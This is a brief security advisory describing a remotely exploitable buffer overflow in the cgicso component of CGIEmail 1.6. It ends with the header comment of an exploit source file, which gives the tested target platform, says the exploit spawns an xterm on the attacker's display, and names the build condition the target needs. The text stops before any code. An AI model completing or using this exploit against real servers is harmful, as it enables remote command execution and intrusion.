A vulnerability has been discovered in CGIEmail. It should be noted that this vulnerability exists only if the server allows queries to remote hosts.

A remotely exploitable buffer overflow has been discovered in a component included with CGIEmail. By sending a maliciously constructed GET request to the vulnerable server, it is possible for a remote attacker to overrun a buffer, potentially resulting in the execution of arbitrary system commands with the privileges of the mail server.

/*
 * cso.c (06/30/01)
 *
 * Remote exploit for cgicso included with cgiemail 1.6
 * Tested on Slackware Linux 7.1 running Apache 1.3.20
 * Spawns an xterm on your display.
 *
 *
 * Note: In order to exploit, cgicso must be compiled with
 * CGI_CSO_HARDCODE undefined, otherwise it will bypass
 * the exploitable portion of code.
